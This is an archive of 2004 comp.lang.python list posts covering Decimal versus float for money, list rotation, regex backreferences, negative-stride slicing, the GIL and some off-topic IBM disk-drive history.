Message-ID: <1l23l01tkbhssc4uh72fps5u9o6ijc2t4f@4ax.com> On 21 Sep 2004 00:25:25 -0700, rumours say that Barkmann at gmail.com (Chris Barker) might have written: >Hi all, > > >I've seen it suggested various times that one should use fixed point >for money, perhaps micro cents represented as integers. However, if >you do that, you need to make sure you do all the rounding correctly. >If you were to use FP, you could have your IEEE 754 hardware do the >rounding for you, and get better performance to boot. If you are >rounding to cents at the end anyway, I can't see that the errors you'd >get with 64 bit FP numbers would ever be an issue. See simple example at end. >I understand that when your numbers got large enough, you'd start to >lose the pennies, but how many of us have the luxury of doing >computation with quadrillions of dollars actually care about the >pennies? Besides, you could check for HUGE numbers and do something >special with them if you wanted. If you lose pennies, you better hope auditors don't read this newsgroup. >What am I missing here? The following function imitates real life: sending quotes for a part to a customer. We order in USD from SGI, we sell in EUR. An Excel sheet (written by someone in the QA dept!) does the dirty job (and thankfully, when I noticed the inconsistency, I corrected things, even if these quotes won't ever be audited... but I felt embarassed nonetheless): def quote(tp): def _calc_vat(amount): amount= tp(repr(amount)) vat= amount * tp('0.18') total= amount + vat return amount, vat, total eur_to_usd_rate= 1.184 # the actual rate used April 22, 2004 amount_usd, vat_usd, total_usd= _calc_vat(2025) amount_eur, vat_eur, total_eur= _calc_vat(2025/eur_to_usd_rate) gfmt= "%-6.6s: USD %10.2f EUR %10.2f" print gfmt % ("Amount", amount_usd, amount_eur) print gfmt % ("Vat", vat_usd, vat_eur) print gfmt % ("Total", total_usd, total_eur) import decimal quote(decimal.Decimal) quote(float) Run it with Python 2.4. See what goes wrong? Put the numbers in an Excel sheet too. Of course, one can take extra precautions to always have correct numbers when working with floats and monetary amounts (eg. I did that for the Excel sheet the sales dpt used). Why bother, though, if one has the Decimal type? -- TZOTZIOY, I speak England very best, "Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek From me at privacy.net Thu Sep 23 20:53:16 2004 From: me at privacy.net (Richard Hanson) Date: Thu, 23 Sep 2004 17:53:16 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: Ksenia Marasanova wrote: > > My project, "code-named" Pathfinder > > Just be aware, there is also a Mac program called Pathfinder, in case > you wanted to keep the name... Thanks! As it happens, I had googled quite a while back and found more than several apps (and other things) named Pathfinder -- seems it's rather a popular name. So it remains merely a convenient "code-name." If the project gets off the ground, I *will* have to pick a name from my growing list of possible candidates, though. (I've already thought of Doors... -- doors are more useful than windows, aren't they? ;-) ) names-can-be-fun'ly y'rs, Richard Hanson -- sickoldfartnewsguycom From DesertLinux at netscape.net Wed Sep 15 16:10:42 2004 From: DesertLinux at netscape.net (Byron) Date: Wed, 15 Sep 2004 20:10:42 GMT Subject: Convert Dictionary to String, vice versa? In-Reply-To: References: Message-ID: <6l12d.1040$gG4.12@newsread1.news.pas.earthlink.net> Hi Peter, Thank you for the information! This will come in quite handy... Byron --- Peter Hansen wrote: > In this particular case, this works: > > >>> d = eval(strNames) > >>> d > {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002} > > But be cautious using "exec" and "eval()", as they are > potential security risks -- primarily when passing them data > that comes from a user or has been made accessible to a user, > such as by persisting it. I suspect the answer to "how?" > is in the FAQ. If not, it's definitely in the list archives. > > -Peter From johan at riise-data.no Sun Sep 19 20:08:54 2004 From: johan at riise-data.no (Johan Ur Riise) Date: 20 Sep 2004 02:08:54 +0200 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> <7xwtyqvyh5.fsf@ruckus.brouhaha.com> <1gkdyki.tb9xn7vzzikrN%aleaxit@yahoo.com> Message-ID: <878yb5yf6x.fsf@riise-data.no> aleaxit at yahoo.com (Alex Martelli) writes: > Paul Rubin wrote: > > > aleaxit at yahoo.com (Alex Martelli) writes: > > > Yes, but applying rational arithmetic by default might slow some > > > computations far too much for beginners' liking! > > > > I dunno, lots of Lisp dialects do rational arithmetic by default. > > And...? What fractions of beginners get exposed to Lisp as their first > language just love the resulting precision/speed tradeoff...? I think > Paul Graham's "Worse is Better" article applies quite well here... There is not much of a precision/speed tradoff in Common Lisp, you can use fractional numbers (which give you exact results with operations +, -, * and /) internally and round them off to decimal before display. With the OP's example: (+ 1210/100 830/100) 102/5 (coerce * 'float) 20.4 Integers can have unlimited number of digits, but the precision of floats and reals are still limited to what the hardware can do, so if you want to display for instance 2/3 with lots of decimals, you have to multiply it first and insert the decimal point yourself, like in (format t ".~d" (round (* 2/3 10000000000000000000))) .6666666666666666667 Of course, long integers (bignums) are slower than short (fixnums), but with automatic conversion to and fro, you pay the penalty only when you need it. From aleaxit at yahoo.com Sat Sep 25 05:21:52 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 11:21:52 +0200 Subject: Why not FP for Money? References: <3A81C87DC164034AA4E2DDFE11D258E3022F0E@exchange.hqamor.amorhq.net> <%Y95d.2674$zG1.27@newsread3.news.pas.earthlink.net> <7xr7oqd9ao.fsf@ruckus.brouhaha.com> Message-ID: <1gko1oc.1kefpxo1my8kk2N%aleaxit@yahoo.com> Paul Rubin wrote: > Andrew Dalke writes: > > I'm against adding new literals. There hasn't been > > one added since complex in ... must have been the > > mid-1990s. > > Boolean literals were added just a few months ago. Heh, you're both right (if 24 or so are "a few";-), for different interpretations of the word 'literal'. True and False introduced no new syntax whatsoever: they're just built-in names, not even reserved ones... personally, I see 'making None a keyword' as 'adding a new literal' (it changes the syntax rules of the language, since suddenly 'None=33' becomes a syntax error) even though as a built-in name it was around since forever; consistently, I don't see the mere introduction of new built-in names without any special syntactic role as "adding new literals". I think we can accept a compromise: - Andrew's way of expression was not 100% precise: he meant to be talking about new _syntactic categories_ of literals, not new values within existing categories. After all, not all possible values within, say, the existing syntactic category 'literal strings' have been written yet, so we're "adding new literals" all the time, each and every time we write a quoted string that had never been written before (to be, well, literal about it;-). - True and False did not add any syntactic category: there were lots of built-in names before, too, and several, like None or Ellipsis, existed exactly in order to name some constant value. Alex From deetsNOSPAM at web.de Wed Sep 15 21:39:05 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Thu, 16 Sep 2004 03:39:05 +0200 Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> <6f402501.0409151157.56b8d517@posting.google.com> Message-ID: > Why? If a print statement were just syntactic sugar for print((outfile,), > ... rest, of, line) (normally calling a builtin) then, giving your example > args, > > def print(*args): > import sys > sys.stdout.write( repr(args)+'\n') > > print print, 1, 'two', 3 > > would output (faked ;-) > > '((), 1, "two", 3)' How should that happen? As print produces a newline, one should expect that print print gets translated to print(outfile, print(outfile,)) which would clearly produce two newlines and raises the question what the inner print gets evaluated to so that the outer one wouldn't print anything. While that would be sort of accetable, what you suggest makes print ambigious - depending on the context. And above that: >>> len >>> has no sideeffects whatsoever, where >>> print >>> clearly has. As BDFL has already said, he regrets to have introduced print as a statement - but as he did, there is no really elegant way around having print as a reserved keyword. One _can_ think of taking context into account to either interpret print as keyword or as identifier while parsing - the question is: Is it worth it? IMHO no - but as Alex said: If it makes you happy, implement it :) The same applies to all other keywords as well, btw. -- Regards, Diez B. Roggisch From lynn at garlic.com Fri Sep 10 10:42:43 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 10 Sep 2004 08:42:43 -0600 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <413f049f$0$6914$61fed72c@news.rcn.com> <5sjnhc.bb81.ln@via.reistad.priv.no> <0vvphc.8nl1.ln@via.reistad.priv.no> Message-ID: Morten Reistad writes: > smD the TLA that represents a washing-machine size disk. Mountable. > ^ Made impressive head crashes from time to time. > > But I won't interfere with this lovely thread drift with lots > of relevant facts. the first disks i played with at the univ. were 2311s on 360/30; they were individual, top-loading, with mountable disk packs; 2311 disk pack was a little over 7mbytes. didn't find picture of 2311 ... but this picture of 1311 were similar ... the lid of the unit was released and raised (something like auto engine hood) http://www-1.ibm.com/ibm/history/exhibits/storage/storage_1311.html the next were 2314s that came with 360/67. it was long single unit with drive drawers that slid out. top & bottom row with 9 drives. drives had addressing plugs .... eight plus a spare. a 2314 pack could be mounted on the spare drive, spun up .... and then the addressing plug pop'ed from an active unit and put in the spare drive. it reduced the elapsed time that the system saw unavailable drive (time to power off a drive, open the drawer, remove a pack, place in new pack, close drawer, power up the drive). 2314 pack was about 29 mbytes. picture of 2314 cabinet http://www-1.ibm.com/ibm/history/exhibits/storage/storage_2314.html the next were the 3330s ... long cabinet unit looked similar to 2314 ... but with only 8 drawers (instead of 9). 3330-i pack had 100mbytes ... later 3330-ii pack had 200mbytes. picutre of 3330 unit ... the three cloaded plastic units on top of the unit were used to remove disk pack and hold it. http://www-1.ibm.com/ibm/history/exhibits/storage/storage_PH3330.html close up of 3330 disk pack in its storage case ... also has picture of 3850 tape cartridges http://www-1.ibm.com/ibm/history/exhibits/storage/storage_PH3850B.html misc. other storage pictures: http://www-1.ibm.com/ibm/history/exhibits/storage/storage_photo.html next big change was 3380 drives with totally enclosed, non-mountable cabinet. old posting on various speeds and feeds http://www.garlic.com/~lynn/95.html#8 3330 disk drives and some more old performance data http://www.garlic.com/~lynn/95.html#10 virtual memory i had written a report that relative disk system performance had declined by a factor of ten times over a period of 10-15 years. the disk division assigned their performance group to refute the claim. they looked at it for a couple of months and concluded that i had somewhat understated the relative system performance decline ... that it was actually more. the issue was that other system components had increased in performance by 40-50 times ... while disks had only increased in performance by 4-5 times ... making relative disk system performance 1/10th what it had been. misc. past posts about the gpd performance group looking at the relative system performance issue: http://www.garlic.com/~lynn/2001l.html#40 MVS History (all parts) http://www.garlic.com/~lynn/2002h.html#29 Computers in Science Fiction http://www.garlic.com/~lynn/2002i.html#18 AS/400 and MVS - clarification please http://www.garlic.com/~lynn/2002k.html#22 Vnet : Unbelievable http://www.garlic.com/~lynn/2002n.html#63 Help me find pics of a UNIVAC please http://www.garlic.com/~lynn/2004d.html#3 IBM 360 memory http://www.garlic.com/~lynn/2004e.html#16 Paging query - progress it was possibly one of the things contributing to disk divisionproviding funding for the group up in berkeley ... misc. references http://www.garlic.com/~lynn/2002e.html#4 Mainframers: Take back the light (spotlight, that is) http://www.garlic.com/~lynn/2002l.html#47 Do any architectures use instruction count instead of timer http://www.garlic.com/~lynn/2004d.html#29 cheaper low quality drives i use to wander around bldgs 14 & 15 and eventually worked on redoing kernel software for their use. misc. past posts about disk engineering and product test labs: http://www.garlic.com/~lynn/subtopic.html#disk -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From ialbert at mailblocks.com Fri Sep 17 11:03:32 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Fri, 17 Sep 2004 11:03:32 -0400 Subject: classes and standard modules In-Reply-To: References: Message-ID: Brad Tilley wrote: > Is it possible to use these modules > without getting into OO programming and inheritance and all the other > lofty, theoretical CS concepts that small script writers, like me, don't > really need? Theoretically yes, in practice no. Istvan. From toc-01-nospam at blikroer.dk Fri Sep 24 17:58:37 2004 From: toc-01-nospam at blikroer.dk (Tomas Christiansen) Date: Fri, 24 Sep 2004 23:58:37 +0200 Subject: Global Interpreter Lock References: Message-ID: Skip Montanaro wrote > Tomas> Excaclty HOW global is the global interpreter lock? > > Per-process. So ONLY (multiple) threads are affected by the global interpreter lock? ------- Tomas From aleaxit at yahoo.com Wed Sep 1 07:26:22 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 1 Sep 2004 13:26:22 +0200 Subject: Modules are hashable?! References: <2pld08Fm7mo8U1@uni-berlin.de> Message-ID: <1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com> Leif K-Brooks wrote: > I was just playing around, and noticed that modules seem to be hashable. > Can anyone explain that, especially given the fact that they're mutable? Any object x is hashable if type(x) does not expose __eq__ nor __cmp__. In that case, the meaning of x==y for that object is 'x is y', that is, id(x)==id(y), so having hash(x) return id(x) is perfectly functional. Mutation is not a problem if it doesn't affect equality comparisons. Alex From me at privacy.net Thu Sep 23 13:17:54 2004 From: me at privacy.net (Richard Hanson) Date: Thu, 23 Sep 2004 10:17:54 -0700 Subject: Math errors in python References: <7xwtyqsmvu.fsf@ruckus.brouhaha.com> <9ap1l015t6qgcq5s8hil71mrll9e71pnm7@4ax.com> <1gkkodq.sins5z1hdbv0uN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Richard Hanson wrote: > > > Peter Otten wrote: > > > > > The auther is currently working on an installer, but just dropping it into > > > 2.3's site-packages should work, too. > > > > I just dropped decimal.py from 2.4's Lib dir into 2.3.4's Lib dir. > > Seems to work. Any gotchas with this route? > > None that I know of. Good to hear. My interest (besides my Pathfinder project which I introduced in another [OT] thread :-) ), also is in developing continuing improvements to my COGO software (despite my being retired for many years and having no personal need for such). (Now that I note the substantial speedup in CVS of Decimal's sqrt(), I am getting interested once again in getting back to my COGO-in-Python project [when I get a chance :-) ], and see just what success I have working up a relatively fast arctangent function.[1] Besides an arctangent function, a COGO-using-Decimal also needs to have pi available to an arbitrary number of decimal places. My sketches heretofore used precalculated values of pi to a ridiculous number of decimal places in string form, from which a simple slice would give the requisite value as the current Context may require. [Decimal's help files include snippets for some simpler versions of sine and cosine, and thus, tangent. If I get the chance -- and the ability to comprehend the state-of-the-art as referenced in my footnote -- to implement a fast arctangent function in Decimal, similarly implemented algorithms should also speed up sine and cosine.][2]) > Indeed, the author originally wanted to have that > approach as the one and only way to use decimal with 2.3, I just made > myself a nuisance to him insisting that many inexperienced Pythonistas > would have been frigthened to even try that, so finally he packaged > things up when he realized it would take less of his time than putting > up with yet another whining email from me;-). Heh. I, for one, have greatly enjoyed reading your posts over the years. I think that you are correct in that *non*-computer folks -- arguably part of a target audience for Python -- can be easily frightened by the complexity of the abstractions common in compsci. It is part of Guido's genius that he recognizes such; he has aimed to keep Python accessible to non-programmer-types (Donald Knuth estimated that only about one-percent of humans even have the proper brain organization to be potential programmers, but I digest. :-) ) even as fancier, but quite powerful, complexity-controlling enhancements such as generators are added to the language. In any event, thanks for the comments! Keep up the good work and the posting! enjoying-reading-the-postings-'ly y'rs, Richard Hanson _____________________________________ [1] I've skimmed R. P. Brent's work, but haven't yet found the time to understand all of it well enough to develop the requisite trig functions in Python's Decimal. [2] Traditionally, the precision of generic eight-byte floating point types has been sufficient for COGO. However, now, with the advancement in cheap-but-powerful computing power, and with the prevalence of GPS, such things as the Kalman Filter and other iterative matrix algorithms now require BIGNUM decimal places to avoid degenerate solutions near singularities and such.[3] [3] I caution that I am an autodidact, and may sound more educated than I actually am. ;-) -- sickoldfartnewsguycom From Andreas.Ames at tenovis.com Thu Sep 2 05:07:43 2004 From: Andreas.Ames at tenovis.com (Ames Andreas (MPA/DF)) Date: Thu, 2 Sep 2004 11:07:43 +0200 Subject: multipart/form-data in an HTTP client Message-ID: <788E231C269961418F38D3E360D1652526CA3C@tndefr-ws00021.tenovis.corp.lan> Hello, Jeff Shannon wrote: > I, too, was surprised that the existing Python libraries don't > directly support multipart/form-data already, and I hope that this > gets added in soon. I'm not sure what you'd call 'support' and I'm certainly no http guru, so my hint my be far away from what you want (sorry if so), but the function 'parse_multipart' and the class 'FieldStorage' in cgi.py (v2.3) both handle multipart/formdata typed requests. cheers, andreas From andrea.valle at unito.it Wed Sep 29 03:32:48 2004 From: andrea.valle at unito.it (andrea valle) Date: Wed, 29 Sep 2004 09:32:48 +0200 Subject: [OT] wxpython dmg Message-ID: Ehm...This is a bit silly... I downloaded wxPython on macosx 10.3.5 but I do not see it as a disk dmg. It's associated to Mickey Excel. What the heck have I to do to open it and install it? I am a bit new to Mac and no so expert on OS. Sorry Thanks Best -a- Andrea Valle Laboratorio multimediale "G. Quazza" Facolt? di Scienze della Formazione Universit? degli Studi di Torino andrea.valle at unito.it From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Thu Sep 30 02:55:59 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Thu, 30 Sep 2004 07:55:59 +0100 Subject: List rotation In-Reply-To: References: Message-ID: M. Clift wrote: > If the list ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would > of course give('d', 'b', 'a' etc... Yes. That is usually what people refer to as list rotation. > What I'm looking for is that say if trans = 1, then the list would become > ('b', 'a', 'c', 'b', 'a', 'd', 'c') . It took me a second to figure out what you want. You want to increase the characters' ordinal values by one along some rotated list: adbadcb bacbadc so for trans=1, a->b, b->c, c->d, d->a. If I got that correct, than you want something like this: """ def rotate_letters(items, trans=1, rotation="abcd"): """ alphabet can be a string or a list """ return [rotation[(rotation.index(item)+trans) % len(rotation)] for item in items] print rotate_letters("abcd") print rotate_letters(('a', 'd', 'b', 'a', 'd', 'c', 'b')) print rotate_letters(('a', 'd', 'b', 'a', 'd', 'c', 'b'), trans=3) """ which gives the output """ ['b', 'c', 'd', 'a'] ['b', 'a', 'c', 'b', 'a', 'd', 'c'] ['d', 'c', 'a', 'd', 'c', 'b', 'a'] """ and will throw IndexError if you give it input that's not in the rotation alphabet. For more efficiency, you'd want to precompute the result for each character in the rotation alphabet and store the result in a translation table to be used by str.translate(). That's left as an exercise to the user. ;) -- Michael Hoffman From me at here.there.nowhere Mon Sep 20 12:25:57 2004 From: me at here.there.nowhere (=?UTF-8?B?0JTQsNC80ZjQsNC9INCT0LXQvtGA0LPQuNC10LLRgdC60Lg=?=) Date: Mon, 20 Sep 2004 18:25:57 +0200 Subject: File cache for images References: <414e53d7@news.mt.net.mk> Message-ID: <414f0495@news.mt.net.mk> > I'm looking for a way to cache some modified images as files (in a python > program ofcourse). The scenario would look like this: > > getmodifiedimage(filename): > is it in cache? > is the cache up to date (not older than file) > if not, modify filename and store in cache (keyed by filename + > modification) > return modified image > > > I'm looking for prior-art before inventing it myself :) I've read Fredrik Lundh answer on Google Groups, since it didn't appear on my news server. >> I'm not sure what "modify filename" means I dont want to cache file in memory (a dict in your ex.), access to the file is cheap. I want to modify the image (say create a thumbnail, or watermark it) and cache the thumbnail in a file. ... but anyway it should be easy to implement really... It's just I've had a fealing I miss something... well maybe I miss the implementation of removing least recently used files in the cache, when the cache becomes full (as configured). -- ?????? Press every key to continue. From cbfalconer at yahoo.com Sat Sep 4 02:02:03 2004 From: cbfalconer at yahoo.com (CBFalconer) Date: Sat, 04 Sep 2004 06:02:03 GMT Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> Message-ID: <4139561C.F52D4E4@yahoo.com> Alan Balmer wrote: > ... snip ... > > I'm not a fan of Mr Hatch, but blaming him for the shuttle > disaster(s) is somewhat over the top. Why not blame President > Bush? That's the popular thing nowadays. Alright, if you insist. But is it really necessary? We can find adequate charges without reaching very hard. -- Chuck F (cbfalconer at yahoo.com) (cbfalconer at worldnet.att.net) Available for consulting/temporary embedded and systems. USE worldnet address! From irmen at -nospam-remove-this-xs4all.nl Wed Sep 15 18:53:07 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Thu, 16 Sep 2004 00:53:07 +0200 Subject: Rotating lists? In-Reply-To: References: Message-ID: <4148c7d4$0$78753$e4fe514c@news.xs4all.nl> Ivan Voras wrote: > I need to transform this: > > [1,2,3] > > into this: > > [2,3,1] > > (a left-rotation. Actually, any rotation will do). > > I tried: > > a = a[1:] + a[0] > > which doesn't work because there's no __add__ between a list and > integer, and: > > a = a[1:].append(a[0]) > > but it doesn't work, since append returns None :( Right now, I'm doing > it with a temporary variable and it looks ugly - is there an elegant way > of doing it? > This smells like a use-case for itertools.cycle: >>> import itertools >>> c=itertools.cycle( [1,2,3] ) >>> c.next() 1 >>> c.next() 2 >>> c.next() 3 >>> c.next() 1 >>> c.next() 2 ... or is this not what you need to rotate your lists for? --Irmen de Jong From pit.grinja at gmx.de Sat Sep 25 09:19:50 2004 From: pit.grinja at gmx.de (Piet) Date: 25 Sep 2004 06:19:50 -0700 Subject: \number parameter in regular expression Message-ID: <39cbe663.0409250519.45d70c42@posting.google.com> Hi there, I am trying to understand the correct use of the \number parameter in pythons regular expressions. I belive that the following should work import re pattern = re.compile("([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})\1") search = pattern.search("Date#ThisIsASpacer2004-09-25Date") print search.groups() But it doesn?t, because the RE doesn?t match. I thought that the "\1" thing indicates that the respective part of the string in question should match the one that is located in search.group(1). When I change the script to import re pattern = re.compile("([a-zA-Z]*)(.*)(\d{4}-\d{2}-\d{2})") search = pattern.search("Date#ThisIsASpacer2004-09-25") print search.groups() print search.group(1) I get the expected result: ("Date","#ThisIsASpacer","2004-09-25") Date How is the \number parameter used correctly? Many thanks in advance Piet From spam at nimblegen.com Tue Sep 21 09:33:37 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Tue, 21 Sep 2004 08:33:37 -0500 Subject: Xah Lee's Unixism In-Reply-To: <414F156C.7C28AEFB@yahoo.com> References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> <414F156C.7C28AEFB@yahoo.com> Message-ID: CBFalconer wrote: > Alan Balmer wrote: > >>Patrick Scheible wrote: >> > > ... snip ... > >>>They have committees, they don't have independent >>>intelligence-gathering ability. >> >>Neither does President Bush - he doesn't have time for all >>those field trips. That's why he gets reports from the various >>intelligence agencies, who also report to the Congressional >>intelligence committees. > > > Then why does he ignore them, as evidenced by his non-response to > the July report on the future of Iraq, which was kept secret until > a few days ago? > You have no basis from which to judge how or whether there was a response. Just because you're not in the loop doesn't mean there is no loop. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From aquila_deus at yahoo.co.uk Sat Sep 18 04:51:31 2004 From: aquila_deus at yahoo.co.uk (Aquila Deus) Date: 18 Sep 2004 01:51:31 -0700 Subject: [OT] tabbed command line window? WAS Re: Ranting about the state of Python IDEs for Windows References: Message-ID: jkn_gg at nicorp.f9.co.uk (Jon Nicoll) wrote in message news:... > Hi all > some comments in the earlier thread about tabbed windows with VIM > reminded me of a scratch I'd like to itch: does anyone know of a > tabbed command line utility for Win32? I'd like something like > KDEterm, where you can have multiple tabbed command line 'sessions' in > a single window, just switching between the tabs as desired. > > I sometimes need to use several command line prompt windows at once > (different directories, environment variables etc.) and it would be > great to collect these all together into one window. I've looked a few > times but never found anything that comes close... XEmacs, there is tabbed-interface, and you can open several shells and code sesssions by yourself :-) From hpenner at gmail.com Fri Sep 24 15:12:58 2004 From: hpenner at gmail.com (Harry Penner) Date: Fri, 24 Sep 2004 14:12:58 -0500 Subject: POP3 Filter In-Reply-To: References: Message-ID: <822221bb0409241212182c8947@mail.gmail.com> Check spambayes http://spambayes.sourceforge.net/ -Harry On Fri, 24 Sep 2004 11:11:43 -0700, crystal1 wrote: > Not sure if this has been done... > > Has anyone created a python script that listens on the default POP3 port > for incoming mail, kills certain messages based on a criteria, and > forwards the output to a non-standard port the POP3 server is listening on? > > Upon recieving requests from a sender, the script would transparently > forward traffic to the off port unless a violating condition is encountered. > > I'd like to use the listening python script to check for a correct 'to:' > address format, attachment size limit, etc. > > Before I waste too much time, do you think this is do-able? > > -- > http://mail.python.org/mailman/listinfo/python-list > From __peter__ at web.de Wed Sep 1 14:51:04 2004 From: __peter__ at web.de (Peter Otten) Date: Wed, 01 Sep 2004 20:51:04 +0200 Subject: negative stride list slices References: <8a638f47.0409010941.7f1cbbad@posting.google.com> Message-ID: David Abrahams wrote: > Can anyone explain the logic behind the behavior of list slicing with > negative strides? For example: > > >>> print range(10)[:-3:-1] > [9,8] > > I found this result very surprising, and would just like to see the > rules written down somewhere. Well, here is my attempt to emulate the algorithm. The trick seems to be to substitute the start/stop parameters with 0 or length-1 depending on the sign of step. # no warranties! def indices(length, start, stop, step): if step is None: step = 1 if step < 0: if start is None: start = length-1 elif start < 0: start += length if stop is None: stop = -1 elif stop < 0: stop += length else: if start is None: start = 0 elif start < 0: start += length if stop is None: stop = length elif stop < 0: stop += length if start > stop: while start > stop: yield start start += step else: while start < stop: yield start start += step assert list(indices(10, None, -3, -1)) == range(10)[:-3:-1] assert list(indices(10, None, -3, -2)) == range(10)[:-3:-2] assert list(indices(10, 9, -3, -2)) == range(10)[9:-3:-2] assert list(indices(10, None, None, None)) == range(10)[::] assert list(indices(10, None, 5, 2)) == range(10)[:5:2] I have to admit (late but better than never) that Raymond Hettinger's new builtin reversed() has some merits: >>> list(reversed(range(10)[-2:])) == range(10)[:-3:-1] True Peter From vze4rx4y at verizon.net Mon Sep 13 04:06:17 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Mon, 13 Sep 2004 08:06:17 GMT Subject: Best way to compare the contents of two directories References: <95c29a5e.0409111640.6980271f@posting.google.com> Message-ID: [Robin Siebler] > However, before I actually compare the files, I want to compare the > directories and if a directory is mising in either set, I want to > report it: The operative word is "set". Try using sets.py: one_only = Set(dirlistone) - Set(dirlisttwo) two_only = Set(dirlisttwo) - Set(dirlistone) Raymond Hettinger From me at privacy.net Mon Sep 27 13:49:05 2004 From: me at privacy.net (Richard Hanson) Date: Mon, 27 Sep 2004 10:49:05 -0700 Subject: Whose is smaller References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> <9d2k22-tj1.ln1@lairds.us> <1gkrkm5.qym338odcsluN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Cameron Laird wrote: > > > How do touch-typists like them > > Just fine (the 10.5" P2000 -- can't speak for the even-smaller P1000s). I commented on my P1120 -- works better for me than the standard-sized keyboards. See my MID: <141fl01ecvoobq2h33ud827p6mefvu3183 at 4ax.com> Richard Hanson -- sickoldfartnewsguycom From aleaxit at yahoo.com Thu Sep 9 03:45:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Thu, 9 Sep 2004 09:45:49 +0200 Subject: What about an EXPLICIT naming scheme for built-ins? References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <5d83790c.0409081810.613e44af@posting.google.com> Message-ID: <1gjuaww.xljr4bbmtlk9N%aleaxit@yahoo.com> Raymond Hettinger wrote: ... > def itersort(arr): > heapify(a) > try: > while a: > yield heappop(a) > except IndexError: > pass I think you're missing in this function a first line of a = list(arr) But otherwise, yep, this sure looks right, except that I'm not sure about the need for the try/except (can't hurt, but if not needed it might be better to make life simpler by removing it). Wouldn't...: def isorted(seq): a = list(seq) heapify(a) while a: yield heappop(a) work just as well? What else but an empty a could trigger IndexError? And if it's empty we're out of the ''while', so... Alex From ajsiegel at optonline.com Sat Sep 25 08:57:02 2004 From: ajsiegel at optonline.com (Arthur) Date: Sat, 25 Sep 2004 12:57:02 GMT Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <89adnWTWC6JVscncRVn-uw@giganews.com> <10l90qcihqrjba1@corp.supernews.com> <6799l0pal6hmm3ssnvfi6fb8ki6j5o94na@4ax.com> Message-ID: <9oqal0haa43289lmilvj8evj2t5jfaoc8c@4ax.com> On 25 Sep 2004 10:40:13 +0300, Ville Vainio wrote: >>>>>> "Richard" == Richard Hanson writes: > > Richard> M-brane (generalized string theory), and such > Richard> theorists. It is possible that in the higher-dimensioned > Richard> theories, quantum mechanics will turn out to be > Richard> deterministic. Or, at least that's what I'm quite > >It's not just possible, it's inevitable if the scientists are worth >anything. It's amusing how long this charade of nondeterminism has >been allowed to go on, considering how the scientists are supposed to >be reasonably rational adults. Ville, Ville, Ville. You're a card. From martin at v.loewis.de Thu Sep 16 02:48:31 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Thu, 16 Sep 2004 08:48:31 +0200 Subject: Is this a bug in the windows tempfile.py? In-Reply-To: References: Message-ID: <4149373e$0$13011$9b622d9e@news.freenet.de> Jonathan Wright wrote: > Is there (and if not, should there be) any way to determine if an > object is file-like? > Or is this getting into protocol-oriented programming. :-) I think so. You just use the object, e.g. invoke .read on it - if that gives an AttributeError, you don't have a file-like object. Of course, you should *know* that this is supposed to be a file-like object in advance - otherwise, you wouldn't try to check whether it is. So just use it as a file-like object, and don't bother handling the exception, unless there is a clear strategy what to do if the object is not file-like. Regards, Martin From roo at try-removing-this.darkboong.demon.co.uk Tue Sep 14 12:27:13 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Tue, 14 Sep 2004 17:27:13 +0100 Subject: Xah Lee's Unixism References: <10kcn40mkm43c8f@corp.supernews.com> Message-ID: <1095179233.182133@teapot.planet.gong> Chuck Dillon wrote: > actions like 9/11. It underscores it because Iraq was the largest Arab > military power in the region. ... 15 years ago maybe, 2 years ago - no fucking way. -- Cheers, Rupert From mru at mru.ath.cx Wed Sep 1 04:24:10 2004 From: mru at mru.ath.cx (=?iso-8859-1?q?M=E5ns_Rullg=E5rd?=) Date: Wed, 01 Sep 2004 10:24:10 +0200 Subject: Xah Lee's Unixism References: 